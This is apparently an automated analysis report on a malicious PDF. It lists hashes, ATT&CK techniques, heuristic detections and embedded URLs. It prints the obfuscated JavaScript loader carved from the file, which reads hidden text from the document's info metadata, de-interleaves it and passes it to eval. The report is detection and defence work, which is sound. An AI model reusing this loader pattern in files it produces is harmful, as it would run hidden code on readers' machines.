PDF malware analysis — malicious · 771f02024e9e1fc6

MALICIOUS

PDF

44.6 KB

MD5: a539ea757c26b68e5915c76994a8e670 SHA-1: b8aee62fdcb81ae71cb8b6b4db1d3b422b8cbc22 SHA-256: 771f02024e9e1fc63b13dbac0cd3a15aecc80fb0724c8d0fbed47f8dccbfc5ed

118 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF sample contains embedded JavaScript that is obfuscated but appears to download and execute a second-stage payload. The ML classifier and PDF JavaScript exploit cluster heuristics strongly indicate malicious intent. The script's reconstructed call, EFOabD3oRm(IfWi556b6r), likely executes downloaded code, and the presence of an unknown reputation URL suggests a command and control channel or payload source.

Machine Learning

Nyx PDF Classifier malicious score 0.9994

Heuristics 6

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
XFA form low PDF_XFA

PDF uses XML Forms Architecture — can contain script logic
Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL

The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.bitstream.com In PDF document text
- http://ns.adobe.com/xdp/In PDF document text
- http://www.xfa.org/schema/xci/2.6/In PDF document text
- http://www.xfa.org/schema/xfa-template/2.6/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename Kind Source Size

javascript_obj0007_000.js
6d6be696b8f3301043a12e4a8323429730a97e7958cf873d9ec637f174300201 pdf-javascript-stream PDF /JS object 7 at offset 0x86C 1063 bytes

Filename	Kind	Source	Size
`javascript_obj0007_000.js` `6d6be696b8f3301043a12e4a8323429730a97e7958cf873d9ec637f174300201`	pdf-javascript-stream	PDF /JS object 7 at offset 0x86C	1063 bytes
Preview script First 1,000 lines of the extracted script mH12m2M1Bu=this;Uv5fjB4=['k','a','i','l','K','N','9','B','2','b','n','I','D','v','e','f','Y','0','I','o','s','D','P'];MuUS8lv2=Uv5fjB4[2]+Uv5fjB4[10]+Uv5fjB4[15]+Uv5fjB4[19];C92U=mH12m2M1Bu[MuUS8lv2];K2fVK16Qy6=['S','D','7','S','b','p','B','7','w','F','d','H','L','Q','B','9','f','D','0','L','j','S','t','V','J','x','y','W','9','p','p','8','4','w','p','O','e','I','F','2'];TM72a55=K2fVK16Qy6[5]+K2fVK16Qy6[10]+K2fVK16Qy6[16]+K2fVK16Qy6[22]+K2fVK16Qy6[26]+K2fVK16Qy6[34]+K2fVK16Qy6[36];OdQ1=C92U[TM72a55]; IfWi556b6r="";GYhm7aR=['k','M','7','0','d','C','o','c','S','6','d','k','H','L','1','h','n','G','t','a','t','5','N','I','j','r','n','F','8','J','r','A','K','u','4','D','o','t','U','p','z','8','n','p','d'];pmYx1HIc=GYhm7aR[7]+GYhm7aR[15]+GYhm7aR[19]+GYhm7aR[25]+GYhm7aR[31]+GYhm7aR[37];for (i=0;i<OdQ1.length;i +=4){ IfWi556b6r +=OdQ1.charAt(i);}zm4Hf6ib=['f','G','5','e','k','v','b','c','W','v','8','r','a','j','B','1','l','H','h'];l18vw497=zm4Hf6ib[3]+zm4Hf6ib[5]+zm4Hf6ib[12]+zm4Hf6ib[16];EFOabD3oRm=mH12m2M1Bu[l18vw497];EFOabD3oRm(IfWi556b6r);
`font_00_sfnt_off000010e9.bin` `044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7`	pdf-font-stream	PDF embedded font (sfnt) at offset 0x10E9	65932 bytes

Preview script

First 1,000 lines of the extracted script

mH12m2M1Bu=this;Uv5fjB4=['k','a','i','l','K','N','9','B','2','b','n','I','D','v','e','f','Y','0','I','o','s','D','P'];MuUS8lv2=Uv5fjB4[2]+Uv5fjB4[10]+Uv5fjB4[15]+Uv5fjB4[19];C92U=mH12m2M1Bu[MuUS8lv2];K2fVK16Qy6=['S','D','7','S','b','p','B','7','w','F','d','H','L','Q','B','9','f','D','0','L','j','S','t','V','J','x','y','W','9','p','p','8','4','w','p','O','e','I','F','2'];TM72a55=K2fVK16Qy6[5]+K2fVK16Qy6[10]+K2fVK16Qy6[16]+K2fVK16Qy6[22]+K2fVK16Qy6[26]+K2fVK16Qy6[34]+K2fVK16Qy6[36];OdQ1=C92U[TM72a55];        IfWi556b6r="";GYhm7aR=['k','M','7','0','d','C','o','c','S','6','d','k','H','L','1','h','n','G','t','a','t','5','N','I','j','r','n','F','8','J','r','A','K','u','4','D','o','t','U','p','z','8','n','p','d'];pmYx1HIc=GYhm7aR[7]+GYhm7aR[15]+GYhm7aR[19]+GYhm7aR[25]+GYhm7aR[31]+GYhm7aR[37];for (i=0;i<OdQ1.length;i +=4){   IfWi556b6r +=OdQ1.charAt(i);}zm4Hf6ib=['f','G','5','e','k','v','b','c','W','v','8','r','a','j','B','1','l','H','h'];l18vw497=zm4Hf6ib[3]+zm4Hf6ib[5]+zm4Hf6ib[12]+zm4Hf6ib[16];EFOabD3oRm=mH12m2M1Bu[l18vw497];EFOabD3oRm(IfWi556b6r);

font_00_sfnt_off000010e9.bin
044efaa0fcddad6a1afc97a6bd112675dff8d542f6a622fb73e7eb17d43d90f7 pdf-font-stream PDF embedded font (sfnt) at offset 0x10E9 65932 bytes

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